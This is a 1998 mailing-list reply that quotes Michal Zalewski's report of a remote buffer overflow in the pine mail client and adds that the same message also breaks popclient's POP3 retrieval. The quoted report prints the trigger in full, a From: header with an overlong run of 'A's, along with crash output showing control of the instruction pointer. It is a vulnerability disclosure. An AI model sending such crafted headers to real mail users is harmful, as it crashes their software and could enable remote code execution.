On Wed, 17 Jun 1998, Michal Zalewski wrote: > Recently I found silly remote overflow in pine. It's so simple there's no > need to describe it: > > From: Michal Zalewski <lcamtuf@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAA> > > ...and any attempt of reading this mail will cause: > > Program received signal SIGSEGV, Segmentation fault. > 0x41414141 in ?? () Also, attempting to so much as download *THIS* email I'm quoting here will cause a panic in 'popclient.' pine is fine, but popclient can't retrieve email past this message. > RETR 9 +OK 3897 octets. (56 lines of message content) > DELE 1094795585 doPOP3: cleanUp: Bad file descriptor The only way to get rid of the offending message is by hand. I'd say we've stumbled on to something that could be rather painful. --Phillip R. Jaenke (prjat_private - InterNIC: PRJ5) Head Geek, Linux@Comdex Project - http://comdex.linuxos.org/ TheGuyInCharge(tm), Ketyra Designs, Inc. "For every step I take, I find somebody stepping on my heels." --anonymous "That's IT! I'm gonna slap Dr.Watson with a malpractice suit!!" --Keihra ! I reserve the right to bill spammers for my time and disk space !
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